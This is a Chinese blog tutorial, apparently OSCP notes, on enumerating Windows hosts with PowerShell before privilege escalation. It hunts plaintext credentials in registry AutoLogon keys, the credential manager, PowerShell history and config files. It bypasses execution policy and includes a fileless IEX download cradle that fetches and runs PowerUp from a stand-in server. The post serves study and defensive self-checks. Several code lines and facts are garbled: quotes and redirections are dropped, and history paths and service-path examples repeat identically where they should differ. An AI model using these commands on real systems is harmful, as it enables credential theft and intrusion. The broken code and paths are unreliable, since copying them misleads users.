ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Windows提权前的关键一步:用PowerShell全面翻查敏感信息

2026/10/7 3:37:09 拓冰建站 浏览量
Windows提权前的关键一步:用PowerShell全面翻查敏感信息 每次拿到一台 Windows 机器的初始权限我做的第一件事永远是信息收集而不是急着跑漏洞利用脚本。这篇 OSCP 研记想聊的就是 Windows 权限提升之前最关键的一步用 PowerShell 把系统里的敏感信息尽可能翻个底朝天。很多情况下提权路径不是靠猜的而是靠翻出来的——明文密码、可写服务、自动登录凭据、计划任务里的连接串任何一个都可能是你通向 SYSTEM 的钥匙。这篇文章适合正在备考 OSCP 的人、刚接触内网渗透的同行也适合做防御自查的蓝队朋友内容会尽量讲清楚每一条命令背后的原理和取舍。1. 为什么是 PowerShell信息收集的黄金阶段1.1 提权前的情报工作到底在找什么权限提升的本质是让当前用户获得超出预期的权限。但在这之前你首先得回答一个问题当前用户是谁、在哪个系统上、能碰哪些东西、系统里有没有已经存在的凭据。我把 Windows 环境下的敏感信息收集分成四个维度系统维度操作系统版本、补丁情况、已安装软件、环境变量、系统时间。用户维度当前用户名、所属组、特权列表、本地用户和组、最近访问的文件。网络维度IP 配置、路由表、ARP 缓存、活跃连接、监听端口、DNS 信息。凭据维度明文密码、哈希、缓存的凭据、浏览器数据、配置文件中的连接串、PowerShell 历史记录。这四个维度不是割裂的。系统版本能告诉你可以关注哪些已知漏洞补丁列表能帮你排除掉已经修复的路径用户组的构成能直接指出你是不是 Administrators 或 Backup Operators 的一员网络视角能让你判断机器是否处于域环境、还有哪些内网资产可以横向。凭据维度更是提权的“收割机”很多时候你不需要研究任何漏洞一条明文密码就能直接把你送上 SYSTEM。优先级上我个人的习惯是先凭据后系统再网络最后才是服务与计划任务。原因是凭据类信息的价值密度最高可能一条密码就能结束战斗而服务和计划任务通常指向的是“利用某个配置缺陷”需要结合当前权限去判断可行性放到后面做比较合理。1.2 PowerShell“天生适合”干这个为什么偏偏是 PowerShell原因有三点。第一它是 Windows 系统自带的组件Windows 7 之后的系统都内置了 PowerShell 2.0 以上版本。这意味着你不需要往目标机器上传任何二进制文件纯靠系统原生的能力就能完成信息收集落地痕迹也更少。第二PowerShell 基于 .NET Framework可以直接实例化 .NET 类调用 Win32 API 也不是难事。你可以直接访问注册表、WMI/CIM、事件日志、文件系统、Active Directory 模块几乎覆盖了信息收集需要的所有数据源。第三它支持内存执行和无文件操作。你可以把脚本内容用IEX加载到内存运行也可以直接用-enc参数传入 Base64 编码的命令避免在磁盘上留下脚本文件。但这里必须提醒一句PowerShell 的能力强大监控同样强大。现代 Windows 默认开启了 ScriptBlock Logging你执行的每一条 PowerShell 命令都会被记录到事件日志中AMSI 也会对脚本内容做实时扫描。所以所有收集行为都要在授权范围内进行防御方也能通过同样的日志发现异常行为。理解命令本身比会跑工具重要得多——你至少要知道自己写出去的内容意味着什么。执行策略是新手第一个遇到的坎。默认的Restricted策略会禁止运行脚本文件但好消息是它不影响交互式命令。绕过方式有很多常见的是启动参数powershell -ep bypass -File collect.ps1或者临时修改当前用户的执行策略Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope ProcessProcess作用域只在当前进程生效关闭 PowerShell 后自动恢复这是最稳妥的做法不要轻易动LocalMachine级别的策略那会改变系统状态。2. 先摸清自己是谁用户、权限与系统信息2.1 用最小命令快速确认身份和特权很多新手拿到 shell 之后第一件事就是敲whoami这没错但只敲一个裸的whoami远远不够。我通常先跑这样一组命令whoami whoami /all whoami /priv whoami /groupswhoami /all会一次性输出当前用户的完整 SID、所在组、特权信息信息量最大。whoami /priv单独列出该用户账户拥有的所有特权这个输出对提权方向判断非常关键——如果看到SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege说明这台机器大概率存在 Potato 系列提权的机会如果看到SeBackupPrivilege或SeRestorePrivilege意味着你可以利用备份权限读取 SAM 文件或者替换系统文件。接着要看用户和组的关系net user net user %username% net localgroup net localgroup administrators Get-LocalUsernet localgroup administrators能告诉你本地管理员组里都有谁。在 OSCP 考试环境中某些机器会把当前用户直接丢进 Administrators 组但 UAC 限制了令牌级别——这种情况下你需要的是 UAC 绕过而不是传统提权。这种信息一眼就能看出来。还有几个容易被忽略但很实用的命令whoami /user query user qwinstaquery user可以列出当前登录到这台机器的所有用户如果发现域管理员正在交互式登录那这条信息对后续横向移动很有价值——当然这通常放在提权之后考虑。2.2 系统补丁、网络与环境变量里藏着的线索系统信息这块systeminfo是绕不开的。它会给出操作系统版本、系统类型、补丁列表、网卡配置、域信息等一长串内容。问题在于输出太长我一般会做一层过滤systeminfo | Select-String OS Name|OS Version|System Type|Hotfix|Domain|Logon Server补丁列表尤其重要。如果你能确定系统的 KB 编号就能快速判断系统是否存在已知的漏洞利用条件。比如看到系统是 Windows Server 2008 SP2 且没有安装 4013389 相关补丁那 MS17-010 就可以作为备选路径。当然在 OSCP 的现代版本里纯系统漏洞利用已经很少了但补丁信息依然是判断依据。本机的基本情况摸完接着看它在网络中的位置ipconfig /all route print arp -a netstat -anoipconfig /all里面的 DNS 后缀能告诉你机器是否加入域route print能帮你画出网络拓扑的粗略轮廓arp -a能列出当前内网中最近有过通信的主机 IP这比盲扫快得多netstat -ano则能显示当前机器的所有活跃连接和监听端口结合任务管理器或Get-Process -Id可以把端口和进程对应起来判断跑了什么服务。环境变量也值得翻命令只有一行Get-ChildItem Env:别看环境变量不起眼我见过真实环境中有人在USERPASSWORD这类自定义变量里塞明文密码也见过DB_PASSWORD被 Web 服务写进系统环境变量里的情况。总是值得一翻的成本几乎为零。3. 凭据与文件PowerShell 翻箱倒柜的十八般手艺3.1 从用户目录和常见配置里找明文密码如果说前面只是热身那这里就是决战场。Windows 系统的用户目录里藏着大量用户自己都忘了的敏感信息。我从拿到 shell 的第一秒起就会把当前用户目录下的常见位置扫一遍dir C:\Users\ dir C:\Users\*\Desktop dir C:\Users\*\Documents dir C:\Users\*\Downloads在这几个目录里优先关注文件名带 password、credential、secret、admin、backup、note、readme 的文件。很多人习惯把密码记在桌面的文本文件里文件名甚至就叫密码.txt。仅靠肉眼翻目录效率太低我通常会直接上递归搜索。按文件名模式找Get-ChildItem -Path C:\Users -Recurse -Include *password*,*credential*,*secret*,*.kdbx,*.rdp,web.config,.env -ErrorAction SilentlyContinue | Select-Object FullName按内容关键字找用Select-StringGet-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.config,*.log -ErrorAction SilentlyContinue | Select-String -Pattern password|passwd|pwd|credential|connectionstring -SimpleMatch注意-SimpleMatch这个参数它表示把搜索内容当普通文本而不是正则表达式处理避免关键字中的特殊符号干扰搜索结果。内容搜索会很慢建议限定在用户目录和网站根目录等小范围路径不要把整个 C 盘都扫一遍——既慢又容易触发杀软敏感的 IO 行为。还有一种高价值的文件类型是web.config。凡是部署过 ASP.NET 应用的目录根目录下基本都有这个文件里面经常躺着数据库连接字符串和明文密码。同理.env文件也是宝库PHP 和 Node.js 项目常见的环境配置里会有DB_PASSWORD这类键值。3.2 系统里的“密码收纳盒”凭据管理器、自动登录与历史记录Windows 系统里藏着几个“密码收纳盒”PowerShell 能很方便地把它们撬开。第一个是凭据管理器Credential Manager。当前用户只要执行过runas /savecred或者通过控制面板保存过网络凭据信息就会存在这里。查看命令是cmdkey /list如果列表里有targetDomain:interactive这类条目说明缓存的凭据可以被尝试使用。配合runas /savecred /user:admin cmd /c whoami来验证权限是否可用。在 OSCP 环境里这种“不知不觉保存下来的凭据”经常是提升权限的入口。第二个是自动登录注册表项。Windows 支持通过注册表配置自动登录很多管理员图省事会把密码明文写进去。位置在reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon | Select-String DefaultUserName|DefaultPassword|DefaultDomain如果DefaultPassword存在且不为空那你已经拿到了一个登录凭据通常还是管理员账户的。顺手也可以看看HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogon这个分支有些定制版本会把信息放在这里。第三个是 PowerShell 历史记录文件。我在信息收集阶段一定会检查这个文件因为它记录了其他用户或管理员在这台机器上敲过的命令里面往往有大量路径、账号和服务名type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt注意如果目标机器用的 PowerShell 5.1 以下版本历史文件路径可能是$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt而 PowerShell 7 版本在$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt的目录规则有些差异可能需要多找几个位置。这个文件是纯文本直接读取即可。RDP 相关的记录也别放过。当前用户最近连接过哪些远程桌面会保存在注册表里reg query HKCU\Software\Microsoft\Terminal Server Client\Default这里能列出目标主机名和 IP。如果用户保存过 RDP 凭据还能尝试从凭据管理器里调用不过大多数情况下只能拿到主机名线索对后续横向有价值。桌面上散落的.rdp文件同样值得读一读里面有时候会顺手写上用户名甚至明文密码虽然少见。3.3 服务、计划任务与安装软件中的“提权引信”看到这里敏感信息收集已经覆盖了文件和凭据但真正能为权限提升“引路”的还要看系统服务、计划任务和已安装软件这三个方向。服务信息可以通过 CIM 获取Get-CimInstance Win32_Service | Select-Object Name,State,StartName,PathName拿到服务列表后重点看三条服务路径是否带引号。如果路径是C:\Program Files\MyApp\myapp.exe而不是C:\Program Files\MyApp\myapp.exe且路径中某个目录当前用户可写那这就是经典的 Unquoted Service Path。服务以什么账户启动。如果某个服务以LocalSystem启动但它的二进制路径或配置目录允许普通用户写入那替换文件或 DLL 劫持就是一条思路。服务二进制所在目录的 ACL。用icacls看一下服务 exe 所在目录的权限icacls C:\Program Files\MyApp如果输出里出现BUILTIN\Users:(F)或Everyone:(F)这类字样意味着你可以直接替换服务程序文件重启服务后即可获得 SYSTEM 权限。计划任务的思路类似。查看所有计划任务用的命令是schtasks /query /fo LIST /v输出非常长我会把它重定向到文件再慢慢翻。重点寻找以SYSTEM或高权限账户运行的任务记下它的执行路径然后用icacls判断该路径是否可写。如果你能写入计划任务执行的文件那下次任务触发时就能拿到高权限代码执行。再看已安装软件列表Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation为什么要看这个一是为了发现存在已知漏洞的软件二是为了找到带凭据配置的软件。举例来说WinSCP 和 FileZilla 这类 FTP 客户端它们的配置文件中保存过的主机、用户名、密码有些是明文或可逆编码都是信息收集的对象PuTTY 保存的会话名称可能直接对应到内网的其他主机名。数据库客户端如 SQL Server Management Studio的注册表项中有时也会记录“上次连接成功”的服务器列表对横向移动有参考价值。这一步虽然不属于直接的权限提升手段但它能帮你画出更完整的系统画像决定后续从哪条路切入。4. 自动化收集把命令变成一份“体检报告”4.1 我写的一个轻量级收集脚本思路手动敲命令灵活但效率低、容易漏项而且每次敲完还要手动整理输出。我在备考 OSCP 期间写了一个轻量级的 PowerShell 收集脚本起名Invoke-InfoHunter.ps1。谈不上什么高深技术只是把上面说过的命令按模块封装起来跑完自动输出一份统一编码的文本报告。脚本的设计思路是这样的分模块执行。脚本内部按 Base系统信息、User用户与组、Net网络信息、Cred凭据与文件线索四个模块组织每个模块都是一个函数默认全部执行也可以加参数只跑某一个模块。分模块的好处是灵活——有些场景你只需要快速确认系统版本没必要把整个文件系统都扫一遍。输出统一编码。所有结果通过Out-File写入到当前目录下的report_时间戳.txt并且强制指定-Encoding utf8。这一步是踩过坑之后的教训——PowerShell 5.1 默认的Out-File编码是 UTF-16 LE拿到 Linux 攻击机上用cat一看全是乱码换成 UTF8 之后两边都清爽。限制搜索结果范围。文件内容搜索默认只扫C:\Users和C:\inetpub不扫全盘避免长时间 IO 引发目标机器杀软告警。脚本里最核心的篇幅其实就是几条命令的组合。比如凭据模块大概长这样function Get-CredHunt { Write-Host [*] 检查凭据管理器... -ForegroundColor Cyan cmdkey /list 2$null Write-Host [*] 检查自动登录注册表... -ForegroundColor Cyan reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 2$null Write-Host [*] 读取 PowerShell 历史记录... -ForegroundColor Cyan type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2$null }写脚本的时候我坚持一个原则每一行都要能解释清楚在干什么。OSCP 考试中你是要现场向考官解释操作思路的考试现场不允许“我跑了一个脚本但不知道它内部做什么”这种状态。哪怕是自用的脚本也必须在需要的时候能拆开按行讲解。4.2 现成工具怎么用Seatbelt 和 PowerUp除了自己写脚本社区里还有两个工具值得掌握Seatbelt 和 PowerUp。Seatbelt 是 GhostPack 系列里的经典工具专门做主机安全配置和敏感信息的快速收集。它把几十种检查项集成到一个 exe 里用起来非常直接.\Seatbelt.exe -groupremote .\Seatbelt.exe WindowsCredentialFiles -outfileC:\Windows\Temp\sb.txt-groupremote会跑远程相关的检查项具体的检查项名称可以通过Seatbelt.exe -help查看。它能输出很结构化的信息比如当前用户目录下的敏感文件、浏览器历史、缓存的凭据、AutoLogon 配置、有趣的环境变量等。对于 OSCP 备考Seatbelt 能帮你验证自己的手工收集有没有遗漏。PowerUp 则是专门面向 Windows 提权的检查脚本由 PowerShell 帝国团队维护。它的核心价值在于自动化检查常见配置弱点比如 Unquoted Service Path、可写服务二进制、AlwaysInstallElevated、计划任务权限配置等。经典用法是powershell -ep bypass -File PowerUp.ps1 -Command Invoke-AllChecks输出会直接标注哪些条目是“可被利用”的省去自己逐条分析服务列表的时间。工具虽好但有个明显的短板它们是已知的恶名工具会触发 AMSI 和杀软告警。在 OSCP 考试环境中问题不大在真实授权测试中则需要提前和客户说明工具用途。我的习惯是先手动命令做基础收集再根据情况决定要不要上工具——手动命令更安静能拿到大部分关键信息工具是为了提高覆盖率和速度不能反过来让工具替你思考。还有一个细节无论用 Seatbelt 还是 PowerUp尽量在内存中运行IEX (New-Object Net.WebClient).DownloadString(http://your-server/PowerUp.ps1)避免在目标磁盘上留下脚本文件。这和前面说到的无文件执行理念一致也减少了对目标系统的污染。5. 常见问题与排查技巧实录5.1 三个最典型的卡壳现场先说执行策略被禁止的报错。很多人第一次在目标机器上运行脚本时会看到这样的错误无法加载文件 xxx.ps1因为在此系统上禁止运行脚本。原因就是执行策略限制。解决方法前面提过用powershell -ep bypass启动新进程或者在当前进程里临时设置Set-ExecutionPolicy -Scope Process Bypass。如果这两种方式都不可用极少数情况下系统组策略锁死了执行策略可以把脚本内容用Get-Content -Raw读进来再IEX执行这等于绕过了脚本文件执行策略——但注意这样做的日志记录会更加明显必须在授权测试场景下使用。第二个高发问题是输出乱码。在 Windows 中文系统上PowerShell 控制台默认代码页是 GBK脚本文件是 UTF-8 编码时中文字符串会显示成乱码。解决办法是写脚本时统一保存为 UTF-8 with BOM或者在脚本开头执行chcp 65001另外Out-File输出文件的编码问题前面也说过——PowerShell 5.1 默认写出来是 UTF-16所以写文件时一定不要省-Encoding utf8参数。Get-Content读取文件时如果中文乱码可以显式指定编码Get-Content -Path xxx.txt -Encoding UTF8第三个常见问题是权限不足。Get-ChildItem扫C:\Users的时候经常会碰到Access Denied的目录比如C:\Users\Administrator这种你根本进不去的位置。处理办法是不要和系统较劲先收集当前用户能读到的内容。把-ErrorAction SilentlyContinue加上让脚本跳过无权访问的目录继续跑然后在输出里关注哪些关键目录被跳过了这本身也是重要信息——它告诉你敏感数据大概率集中在哪些位置。5.2 信息收集阶段的三条避坑心得场景容易犯的错正确的做法拿到 shell 后直接开跑提权工具先whoami /allcmdkey /list确认身份和凭据搜索文件内容全盘扫 C 盘从C:\Users、C:\inetpub等高风险目录开始限定搜索范围整理输出顺手用 Out-File 默认编码统一指定-Encoding utf8方便在 Linux 端阅读分析先说第一条。很多新手喜欢拿到 shell 就跑各种提权 exploit但 OSED/OSCP 这类考试最看重的恰恰是信息收集的完整度。花十分钟做一次彻底的信息收集往往能直接找到管理员留下的明文密码省掉后面所有折腾。再说第二条。全盘搜索对目标的 IO 影响很大容易触发杀软和 EDR 的行为监控在授权测试中属于“噪音过大”的操作。尽量把搜索范围控制在用户目录、Web 根目录、临时目录这几个常见区域精准打击。最后说第三条。编码问题在团队协作时特别坑——你在 Windows 上生成的结果传给 Linux 上的队友他打开一看全是乱码排除编码问题就得浪费五分钟。养成好习惯从脚本里统一输出 UTF-8 开始。我在实际测试中还有一种排查思路是收集完信息后立刻做一次“信息复盘”把当前用户、用户组、可写目录、找到的凭据、服务路径异常、计划任务可写项这六类结果汇总成一张表然后在表上标出最可疑的三个点再决定下一步动作。这比漫无目的地到处翻要高效得多也更能在面试或考试中讲清楚你的思路。这个内容后续还可以扩展的方向是把同样的收集工作搬到 Linux 主机上或者把已收集到的信息与内网其他机器做交叉关联从而判断横向移动的路径。不过那是后话了先把 Windows 主机这一亩三分地翻明白提权的路自然会清晰很多。